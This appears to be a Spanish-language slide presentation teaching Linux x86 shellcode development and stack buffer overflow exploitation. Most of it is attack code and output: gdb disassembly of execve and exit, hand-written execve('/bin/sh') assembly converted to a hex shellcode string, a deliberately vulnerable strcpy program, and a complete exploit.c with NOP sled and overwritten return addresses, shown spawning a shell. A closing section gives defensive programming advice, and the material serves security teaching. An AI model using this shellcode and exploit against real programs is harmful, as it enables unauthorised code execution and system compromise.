(gdb) printf "%s\n", 0x8095e8a
in/sh
(gdb) printf "%s\n", 0x8095e8b
n/sh
(gdb) printf "%s\n", 0x8095e8c
/sh
(gdb) printf "%s\n", 0x8095e8d
sh
(gdb) printf "%s\n", 0x8095e8e
h
(gdb) printf "%s\n", 0x8095e8f

(gdb)
La palabra %s se sustituye por el valor de la dirección 0x8095e88, la cual
contiene el valor “/bin/sh”. Acontinuacion se le solapa con un \n, que quiere
decir un salto de linea. Esto se deduce porque en la instrucción : 0x08048224 
<main+16>:      movl      $0x8095e88,0xfffffff8(%ebp); se rellena el registro con el
valor que contenga la dirección: 0x8095e88; que es justo lo que se examina con
el comando printf.
Shellcode en Linux
A  continuación  se  muestra  un  listado  con  el  detalle  de  desensamblar  las 
funciones utilizadas en el programa scode.c: execve() y exit.
(gdb) disas execve
Dump of assembler code for function execve:
0x0804df10 <execve+0>:  push   %ebp
0x0804df11 <execve+1>:  mov    $0x0,%eax
0x0804df16 <execve+6>:  mov    %esp,%ebp
0x0804df18 <execve+8>:  push   %ebx
0x0804df19 <execve+9>:  test   %eax,%eax
0x0804df1b <execve+11>: mov    0x8(%ebp),%ebx
0x0804df1e <execve+14>: je     0x804df25 <execve+21>
0x0804df20 <execve+16>: call   0x0
0x0804df25 <execve+21>: mov    0xc(%ebp),%ecx
0x0804df28 <execve+24>: mov    0x10(%ebp),%edx
0x0804df2b <execve+27>: mov    $0xb,%eax
0x0804df30 <execve+32>: int    $0x80 (llamada al kernel)
0x0804df32 <execve+34>: cmp    $0xfffff000,%eax
0x0804df37 <execve+39>: mov    %eax,%ebx
0x0804df39 <execve+41>: ja     0x804df40 <execve+48>
Shellcode en Linux
0x0804df3b <execve+43>: mov    %ebx,%eax
0x0804df3d <execve+45>: pop    %ebx
0x0804df3e <execve+46>: pop    %ebp
0x0804df3f <execve+47>: ret
0x0804df40 <execve+48>: neg    %ebx
0x0804df42 <execve+50>: call   0x8048a50 <__errno_location>
0x0804df47 <execve+55>: mov    %ebx,(%eax)
0x0804df49 <execve+57>: mov    $0xffffffff,%ebx
0x0804df4e <execve+62>: jmp    0x804df3b <execve+43>
End of assembler dump.
(gdb) disas exit
Dump of assembler code for function exit:
0x08048b70 <exit+0>:    push   %ebp
0x08048b71 <exit+1>:    mov    %esp,%ebp
0x08048b73 <exit+3>:    push   %esi
0x08048b74 <exit+4>:    push   %ebx
0x08048b75 <exit+5>:    sub    $0x10,%esp
0x08048b78 <exit+8>:    mov    0x80ab94c,%edx
0x08048b7e <exit+14>:   mov    0x8(%ebp),%esi
0x08048b81 <exit+17>:   test   %edx,%edx
0x08048b83 <exit+19>:   je     0x8048bfa <exit+138>
Shellcode en Linux
0x08048b85 <exit+21>:   lea    0x0(%esi),%esi
0x08048b89 <exit+25>:   lea    0x0(%edi),%edi
0x08048b90 <exit+32>:   mov    0x4(%edx),%eax
0x08048b93 <exit+35>:   test   %eax,%eax
...............................................
0x08048c0a <exit+154>:  call   0x804defc <_exit>
..........................
0x08048c3f <exit+207>:  nop
End of assembler dump.

(gdb) disas _exit
Dump of assembler code for function _exit:
0x0804defc <_exit+0>:   mov    0x4(%esp),%ebx
0x0804df00 <_exit+4>:   mov    $0xfc,%eax
0x0804df05 <_exit+9>:   int    $0x80
0x0804df07 <_exit+11>:  mov    $0x1,%eax
0x0804df0c <_exit+16>:  int    $0x80
0x0804df0e <_exit+18>:  hlt
0x0804df0f <_exit+19>:  nop
End of assembler dump.
(gdb)
Shellcode en Linux
Se ha vuelto a utilizar el comando “disas” del programa gdb. Se observa en la 
función  exit()  en la instrucción:  0x08048c0a  <exit+154>:    call      0x804defc  <_exit>; 
llama  a  otra  función  denominada    _exit().  Esto  quiere  decir  que  se  pude 
escribir  código  C  que  este  mas  cerca  al  sistema,  al  igual  que  sucede  con 
ensamblador. Esto es debido a que la función exit() es una función que tiene 
internamente  implícita  la  llamada  al  sistema  _exit(),  por  lo  que  una  nueva 
versión de fuente scode.c a scode2.c sera:
/* ­­­­­­­­­­­­­­­­­­­­
* scode2.c
/* ­­­­­­­­­­­­­­­­­­­­
*/
#include <stdio.h>
int main(void) {
char * programa[] = {“/bin/sh”, NULL};
execve(programa[0], programa, NULL);
_exit(0);
} // fin del main

Como siempre compilamos y ejecutamos.


Shellcode en Linux
Las llamadas reales al kernel, cuando se produce una interupción de programa 
scode.c anterior, se dan en las siguientes instrucciones:
0x0804df30 <execve+32>: int    $0x80

La forma de incluir un shellcode dentro de un programa que es vulnerable a 
través  de  un  argumento  de  entrada  del  mismo  programa  o  a  través  de  las 
variables  del  entorno.  El  problema  es  que  por  defecto  no  se  conoce  la 
dirección de memoria que va a utilizar el shellcode y es necesario conocer la 
dirección usará la cadena /bin/sh, como se mostró en los listados anteriores.
Para ello, cuando se llama a una subrutina en ensamblador con la instrucción 
call,  la  CPU  almacena la dirección de regreso en la pila, que es la dirección 
que sigue inmediatamente a dicha instrucción (call).
Despues de esta instrucción el paso siguiente es guardar el estado de la pila y 
se hace con el registro %EBP por medio de la instrucción push %ebp. 
El obejtivo es obtener la dirección de regreso al llamar a la subrutina, para ello 
basta con ver cual es el elemento de la cima de la pila mediante la instrucción 
de ensamblador POP.
Shellcode en Linux
El siguiente paso es almacenar la cadena “/bin/sh” inmediatamente despues de 
la  instrucción  call  para  permitir  que  el  “procedur  prolog”  proporcione  la 
dirección de memoria de la cadena “/bin/sh”.
Otro  detalle  a  tener  en  cuenta  a  la  hora  de  construir  códigos  de  shell  es  el 
problema  de  los  bytes  null.  Este  problema  ocurre  en  las  funciones  de  C  de 
manipulacion  de  cadenas,  com  por  ejemplo  la  función  strcpy().  Dichas 
funciones  se  detienen  en  cuanto  encuentran  un  caracter  NULL,  po  lo  que  el 
codigo shell no debe incluir este tipo de caracteres.
Al final con todo esto se construye el siguiente código en ensamblador:
/* ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ */
/*        [Link]     */
/* ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ */
jmp subrutina_call

subrutina:
popl %esi /* Obtiene la direccion de /bin/sh. */
movl %esi, 0x8(%esi)  /* Se guarda en el primer elemento del array */
Shellcode en Linux
xor %eax, %eax
movl %eax, 0xc(%esi) /* Se guarda NULL despues de /bin/sh en el array. */

movl %eax, 0x7(%esi)  /* Se coloca el byte NULL al final del array. */
movb $0xb, %al  /* Funcion execv(). */

movl %esi, %ebx  /* Asigna a EBX la cadena a ejecutar */
leal 0x8(%esi), %ecx /* */
leal 0xc(%esi), %edx /* */
int $0x80  /* Llamada de sistema ­> System­Call */

xorl %ebx, %ebx  /* Devuelve NULL */
movl %ebx, %eax  /* Funcion _exit() */
inc %eax

int $0x80  /* Llamada al sistema ­> System­Call */

subrutina_call:

call subrutina
.string "/bin/sh"
Shellcode en Linux
Para  comprobar  que  el  código  escrito  en  ensamblador  anterior  funciona  hay 
que incrustar en un programa C y probarlo.
/* ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ */
/*      scode3.c      */
/* ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­ */

shellcode() {

__asm__(" jmp subrutina_call \n \
subrutina: \n \
popl %esi \n \
movl %esi, 0x8(%esi) \n \
xor %eax, %eax \n \
movl %eax, 0xc(%esi) \n \
movl %eax, 0x7(%esi) \n \
movb $0xb, %al \n \
movl %esi, %ebx \n \
leal 0x8(%esi), %ecx \n \
leal 0xc(%esi), %edx \n \ 
int $0x80 \n \ 
Shellcode en Linux
xorl %ebx, %ebx \n \
movl %ebx, %eax \n \
inc %eax \n \
int $0x80 \n \
subrutina_call: \n \
call subrutina \n \
.string \"/bin/ls\" \n \
");
} // Fin del shellcode()

main() {
int *ret;
char codigo[1024];

strcpy(codigo, (char*)shellcode);
ret+=2;
*ret = (int)codigo;

} // Fin del main().
Shellcode en Linux
Este  metodo  es  muy  útil para  probar códigos  de shell. Esto se hace antes  de 
convertirlos  a  la  famosa  cadena  en  hexadecimal  que  se  va  a  mostrar  a 
continuación. 
Esto  quiere  decir  que  toda  instrucción  en  ensamblador  tiene  su  valor 
correspondiente en el sistema hexadecimal, al igual que su valor en el sistema 
binario.
Para  crear  la  cadena  en  hexadecimal  se  puede  hacer  de  la  siguiente  forma: 
primero  se  crea  un  programa  en  C  (scode4.c),  el  cual  sólo  contiene  las 
instrucciones en ensamblador que representa el código de shell. 

/* ­­­­­­­­­­­­­­­­­­­­ */
/*       scode4.c      */
/* ­­­­­­­­­­­­­­­­­­­­ */

cont.....
Shellcode en Linux
main() {
__asm__(" jmp subrutina_call \n \
subrutina: \n \
popl %esi \n \
movl %esi, 0x8(%esi) \n \
xorl %eax, %eax \n \
movl %eax, 0xc(%esi) \n \
movb %al, 0x7(%esi) \n \
movb $0xb, %al \n \
movl %esi, %ebx \n \
leal 0x8(%esi), %ecx \n \
leal 0xc(%esi), %edx \n \
int $0x80 \n \
xorl %ebx, %ebx \n \
movl %ebx, %eax \n \
inc %eax \n \
int $0x80 \n \
subrutina_call: \n \
call subrutina \n \
.string \"/bin/ls\" \n \
");
}
Shellcode en Linux
El programa se compila como de costumbre y se utiliza la utilidad  objdump, 
la  cual  muestra  en  pantalla  las  instrucciones  en  ensamblador  junto  con  sus 
valores en hexadecimal.

ovi@stake:~$ objdump ­­disassemble scode4

scode4:     formato del fichero elf32­i386

08048354 <main>:
 8048354:       55                      push   %ebp
 8048355:       89 e5                   mov    %esp,%ebp
 8048357:       83 ec 08                sub    $0x8,%esp
 804835a:       83 e4 f0                and    $0xfffffff0,%esp
 804835d:       b8 00 00 00 00          mov    $0x0,%eax
 8048362:       29 c4                   sub    %eax,%esp
 8048364:       eb 1f                   jmp    8048385 <subrutina_call>
Shellcode en Linux
08048366 <subrutina>:
 8048366:       5e                      pop    %esi
 8048367:       89 76 08                mov    %esi,0x8(%esi)
 804836a:       31 c0                   xor    %eax,%eax
 804836c:       89 46 0c                mov    %eax,0xc(%esi)
 804836f:       88 46 07                mov    %al,0x7(%esi)
 8048372:       b0 0b                   mov    $0xb,%al
 8048374:       89 f3                   mov    %esi,%ebx
 8048376:       8d 4e 08                lea    0x8(%esi),%ecx
 8048379:       8d 56 0c                lea    0xc(%esi),%edx
 804837c:       cd 80                   int    $0x80
 804837e:       31 db                   xor    %ebx,%ebx
 8048380:       89 d8                   mov    %ebx,%eax
 8048382:       40                      inc    %eax
 8048383:       cd 80                   int    $0x80
Shellcode en Linux
08048385 <subrutina_call>:
 8048385:       e8 dc ff ff ff          call   8048366 <subrutina>
 804838a:       2f                      das
 804838b:       62 69 6e                bound  %ebp,0x6e(%ecx)
 804838e:       2f                      das
 804838f:       6c                      insb   (%dx),%es:(%edi)
 8048390:       73 00                   jae    8048392 <subrutina_call+0xd>
 8048392:       c9                      leave
 8048393:       c3                      ret
 8048394:       90                      nop
 8048395:       90                      nop
 8048396:       90                      nop
 8048397:       90                      nop
 8048398:       90                      nop
 8048399:       90                      nop
 804839a:       90                      nop
 804839b:       90                      nop
 804839c:       90                      nop
 804839d:       90                      nop
 804839e:       90                      nop
 804839f:       90                      nop
Shellcode en Linux
ovi@stake:~$ gcc ­o scode5 scode5.c
ovi@stake:~$ ./scode5
sh­2.05b$ exit
exit
ovi@stake:~$

Llegados a este punto ya se tiene el shellcode en marcha. El siguiente paso es 
probarlo  sobre  un  programa  que  sea  vulnerable.  Para  ello  se  va  utilizar  una 
pequeña aplicación llamada bug.c
Este  programa  bug.c  lo único que hace  es  pintar  un texto en pantalla. Dicho 
texto  es  el  parámetro  de  entrada  que  se  le  haya  dado  al  programa.  Se  puede 
observar que se utilizando la funcion  strcpy(), la cual no controla el tamaño 
de las cadenas.
Y  al  usar  esta  función  se  está  asignando  a  la  variable  “buf”,  lo  que  se  haya 
pasado en el primer argumento del programa. Como buf es de tamaño de 1024 
bytes y además strcpy no controla el tamaño de las cadenas, si se pasan mas de 
1024  bytes  como  primer argumento  del  programa  bug, al  llegar  a la función 
strcpy() el programa provocará un Buffer Overflow.
Shellcode en Linux
De esto es lo que se a aprovechar el shellcode para conseguir una shell. 
/* ­­­­­­­­­­­­­­­­­­­ */
/*       bug.c       */
/* ­­­­­­­­­­­­­­­­­ */

#include <stdio.h>
int main(int argc, char **argv) {
        char buf[1024];
        if (argc != 2) return 0;
                memset(buf, 0, sizeof(buf));
                        strcpy(buf, argv[1]);
                                printf("Pintar : %s\n", buf );
}

ovi@stake:~$ gcc ­o bug bug.c
ovi@stake:~$ ./bug "Hola Mundo..."
Pintar : Hola Mundo...
ovi@stake:~$
Shellcode en Linux
Una vez construido el programa vulnerable hay que verificar si lo es, para ello 
se le van a pasar distintos parámetros para ver qué sucede.
En el primer caso le pasamos como parámetro 1024 letras A, para el programa 
los pinte en la pantalla. Parece absurdo, pero el objetivo es demostrar que el 
programa es vulnerable:
ovi@stake:~$ ./bug `perl ­e '{print "A"x1024}'`
Pintar:   
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ovi@stake:~$
Shellcode en Linux
Como  se  ve,  al  pasar  la  1024  letras  A,  el  programa  bug  funciona 
perfectamente  y  las  muestra  en  pantalla.  A  continuación  se  le  va  a  obligar  a 
pintar en la pantalla  1040 letras A
ovi@stake:~$ ./bug `perl ­e '{print "A"x1040}'`
Pintar : 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento
ovi@stake:~$
Shellcode en Linux
En este caso el programa ha fallado, se ve por el mensaje: Violación de segmento. 
Esto es justo lo que se estaba buscando, entonces ya se tiene la certeza que el 
programa tiene un fallo de seguridad, por lo que se ha descubierto una forma 
de reventarlo.
Podriamos  imaginar  encontrar  este  tipo  de  problemas  en  programas  mas 
serios. Pero todavia no esta claro que el shellcode vaya a funcionar por tanto 
el siguiente paso es ver si funciona. El programa que explota la aplicación bug 
es  el  que  veremos  a  continuación  y  este  es  el  tipo  de  programas  que  se 
denomina exploits.  
/* ­­­­­­­­­­­­­­­­­­ */
/*    exploit.c     */
/* ­­­­­­­­­­­­­­­­ */
#include <stdio.h>
#include <stdlib.h>

unsigned long get_sp(void) {
        __asm__("movl %esp, %eax");
}
Shellcode en Linux
int main(void) {

        // Cadena se le pasa al programa vulnerable.
        char *buf = (char *)malloc(1040);

        // Definicion de shellcode

        char scode[]=
                "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b"
                "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        unsigned long direccion=0xffffa18;
        int i;

                direccion = get_sp();
                printf ("\n0x%lx\n", get_sp());
 // Rellenamos la cadena de NOPs

        for (i=0; i<1040;i+=4)

                *(unsigned long  *)&buf[i]=0x90909090;              
Shellcode en Linux
                // Escribimos las direciones en el buffer
                *(unsigned long *)&buf[1040 ­ 4]=direccion;
                *(unsigned long *)&buf[1040 ­ 8]=direccion;

                memcpy(buf + 1040 ­ strlen(scode) ­ 8, scode, strlen(scode));
                execl("./bug", "bug", buf, NULL);
                return 0;
}

El exploit contiene el shellcode en la variable scode. El buffer o cadena que se


la pasa al programa bug para conseguir la shell no es tan trivial como parecia a
priori ya que no sólo se para el shellcode, sino que tiene un formato parecido a
lo siguiente:
NOPS + SHELLCODE + ESP + ESP
Lo promero que se hace con el buffer es llenarlo de NOPS, que es la
instrucción que le dice a la CPU que no haga nada. En medio va pegado el
shellcode en si mismo. Al final del buffer se le pegan las direcciones del
registro ESP, que son fundamentales para que el shellcode sepa devolverle el
control al programa.
Shellcode en Linux
Para  calcular  esta  dirección  se  a  utilizado  la  funcion  get_sp().  Al  final  del 
programa  se  encuentra  la  sentencia  execl(“./bug,  “bug”,  buf  NULL,  que 
ejecuta  el  programa  vulnerable  bug  y  le  pasa  como  primer  argumento  el 
buffer: buf con el shellcode.
Y sucede lo siguiente:
ovi@stake:~$ gcc ­o exploit exploit.c
ovi@stake:~$ ./exploit
0xbffff918
Pintar : 

ë^ 1À FF °ó V                                                                    
Í 1Û Ø@Í èÜÿÿÿ/bin/shùÿ¿ùÿ¿
sh­2.05b$ exit
exit
ovi@stake:~$
Shellcode en Linux
Como se puede observar se ha conseguido la deseada shellcode, por tanto, el 
programa  bug  es  totalmente  vulnerable.  El  caso  que  se  ha  demostrado  es 
probablemente  el  más  fácil,  para  entender  tales  riesgos  y  defectos  de 
programación.

Pero como no todo el monte es orégano, no siempre es tan simple la forma de 
encontrar  y  explotar  fallos  de  seguridad  relacionados  con  los  Buffer 
Overflows, sin embargo es un punto de partida para profundizar la seguridad 
en los sistemas
¿Como protegerse?
Simplemente hace falta crear programas seguros, por muy pequeños o grandes 
que sean no se vean afectados por problemas de seguridad. Por ello se van a 
indicar algunas putas a tener en cuenta en la vida de cualquier programa:
 Los programadores de aplicaciones deben de evitar suposiciones ya que estas 
pueden llevar a un desastre.
  Invertir  tiempo  en  el  analisis  y  diseño  de  aplicaciones,  con  esto  el 
programador consigue que la solución ante un problema de seguridad sea mas 
efectiva y rápida.
  Dedicar  exhaustivamente  a  los  test  de  prueba  del  software  para  determinar 
posibles problemas.
  Comprobar  los  distintos  tipos  y  formatos  de  datos  que  puede  recibir  una 
aplicación.
 No permitir el desarrollo de programas con código muy complicado ni todo 
lo contrario, con código muy sencillo.
¿Como protegerse?
  Comprobar  los  límites  de  las  variables  y  objetos  de  la  aplicación  para  que 
estos no sean utilizados para provocar problemas de seguridad.
 Comprobar todos los códigos de retorno de cualquier función o programa.
 Es fundamental que el programador de la aplicación pruebe la misma lo más 
exhaustivamente  posible,  aunque  exista  un  departamento  de  pruebas  para 
dicha tarea.
 Implementar en la aplicación un exhaustivo control de errores, así cada vez 
que falle la aplicación se tendrá controlado por qué fue.
 Otorgar al software unos minimos privilegios, así un usuario cuando no esté 
autorizado a dicho software, a priori, no podrá hacer uso del mismo. 
¿Como protegerse?
Hay  que  tener  en  cuenta    todas  estas  recomendaciones,  pero  quizás  la 
recomendación más normal de oír en estos entornos sea la de “ser paranoico”, 
es  decir,  no  fiarse  de  nada  ni  de  nadie  en  lo  que  a  seguridad  informática  se 
refiere.
Aun  así  es  posible  que  otro  programador  consiga  encontrar  un  fallo  de 
seguridad. Las razones son sencillas, esta segunda persona va a intentar poner 
al programa en situaciones inesperadas para observar cómo reacciona y sacar 
sus  propias  conclusiones.  Esto  es  ni  mas  ni  menos  que  el  famoso  método 
cientifico.  Para  ello  se  utilizan  desensambladores  para  ver  lo  que  sucede  a 
nivel de código máquina, como ya hemos visto en los ejemplos prácticos.
Links de interés

[Link] Portal oficial del debugger GDB


[Link] Debugger gráfico DDD
[Link] Debugger XXGDB
[Link] GDB para desarrolladores
[Link] Documento imprescindible
[Link] Win32 Assembly Component
[Link] Undocumented functions Win32
[Link] Win32 Shellcodes
[Link] TESO Security Group
[Link] Ltrace
[Link] GNU Binutils
[Link] NewOrder
[Link] Shellcode Argentina
[Link] Heap Overflows
Preguntas?
Esta presentación esta dedicado al ser humano 
mas  incondicional que haya conocido. 
Mi hermano Javier.

Gracias…

También podría gustarte